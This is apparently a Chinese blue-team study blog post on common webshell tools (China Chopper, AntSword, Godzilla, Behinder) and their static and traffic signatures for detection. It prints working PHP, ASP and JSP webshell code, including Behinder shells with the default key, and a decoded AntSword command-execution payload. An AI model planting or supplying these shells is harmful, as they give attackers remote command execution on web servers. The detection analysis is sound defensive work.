MENU

常见Webshell工具以及流量特征

March 28, 2022 • Read: 269 • Tool utilization

前言

由于面试蓝队护网,问的重点就是这个,所有想着来总结一下

中国菜刀

中国菜刀(Chopper)是一款经典的网站管理工具,具有文件管理、数据库管理、虚拟终端等功能。
它的流量特征十分明显,现如今的安全设备基本上都可以识别到菜刀的流量。现在的菜刀基本都是在安全教学中使用。
官网已经关闭了,所有只有在giuthub上面找
github:https://github.com/raddyfiy/caidao-official-version
建议一律扔虚拟机
下载好直接解压
N7GWGYPBSQYKOER7Q5.png

菜刀现在主流有三个版本在使用,分别为2011版、2014版、2016版,这三个版本中从2011版本到2014版本是功能性上进行了增强,从2014版本到2016版本是在隐秘性上进行了增强,2016版本的菜刀流量加入了混淆,使其链接流量更具有混淆性。
实际上菜刀很鸡肋了,除非是自己魔改的,而且蚁剑还是利用的菜刀框架,所以之后讲解蚁剑的流量分析,这里就不再提菜刀的流量了。

蚁剑

AntSword(蚁剑)是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。
github项目地址:https://github.com/AntSwordProject/antSword

安装很简单,选择目录让它下载源码即可,或者自己下好源码
打开这样的
TRG~VBDAY952Y9W$L$6RV.png

蚁剑官方自己制作了后门
github地址:https://github.com/AntSwordProject/AwesomeScript

但是由于蚁剑使用的菜刀框架,所有普通的一句话木马也可以使用。

静态流量

php中使用assert,eval执行, asp 使用eval ,在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征
php

<?php
$ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));
$ant();
?>

asp

<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>

jsp

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
    public byte[] base64Decode(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
    }
%>

动态流量

这里拿php一句话木马来看
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且存在base64等字符
2WM%1J%WCA_~}O(0}2WU.png

很明显的看见了http请求包的body部分携带了大量的数据,但是由于进行编码的原因,结构不是很清晰。为了让请求代码更加清晰,先对其进行URL 解码,并整理代码结构:

m1 = @ini_set("display_errors", "0");@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item."/.75a54517b7";@mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }@chdir($tmdir);@ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i$tmp 2 > &1 ");if (fe('error_log')) {error_log("a ", 1);} else {mail("a@127.0.0.1 ", "", "", " - bv ");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME "]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!=" / " && @class_exists("COM ")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r."2 > &1 ");print ($ret!=0)?"ret = {
            $ret
        }
        ":"";;}catch(Exception $e){echo "ERROR: //".$e->getMessage();};asoutput();die();&na54fbcd20fe4d=v3&oefc3968a7f873=GNY21k&r79b789ccc26e4=AYY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1cvMTkyLjE2OC4xLjMiJmlwY29uZmlnJmVjaG8gMGYwN2IyNGY3MzQmY2QmZWNobyA5N2M0OA==

还有各种编码混淆,但是蚁剑流量还是比较明显的
具体了解:https://www.freebuf.com/articles/network/229193.html

哥斯拉

github地址:https://github.com/BeichenDream/Godzilla
建议虚拟机安装个java1.8的jdk
页面是这样的
[@T7QI~2$H6(V_0~{JCHX6N.png

然后哥斯拉的webshell需要动态生成,可以根据需求选择各种不同的加密方式
因为不太常用,以后应该会涉及:https://blog.csdn.net/qq_39997096/article/details/111168949

冰蝎

冰蝎是一款动态二进制加密网站管理客户端。
github地址:https://github.com/rebeyond/Behinder
这里主要分析3.0版本的
3}YC3EL5XXA$SKW45C3.png

静态特征

采用采用预共享密钥,密钥格式为md5(“admin”)[0:16], 所以在各种语言的webshell中都会存在16位数的连接密码,默认变量为k。
在php中会判断是否开启openssl采用不同的加密算法,在代码中同样会存在eval或assert等字符特征

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

asp中会在for循环进行一段异或处理

<%
Response.CharSet = "UTF-8" 
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>

在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

动态特征

在3.0中改了,去除了动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5(“admin”)[0:16],但还是会存在一些特征
在使用命令执行功能时,请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
这里还是拿php来看,但是由于冰蝎的流量是动态加密的,所以直接的流量分析是不管用的.只能抓包
具体可以看这篇文章:https://www.freebuf.com/sectool/247009.html

结语

其实很多大师傅的文章很好了,自己也只是做个总结,所以就水了一篇哈哈哈

Last Modified: July 11, 2022
Archives Tip
QR Code for this page
Tipping QR Code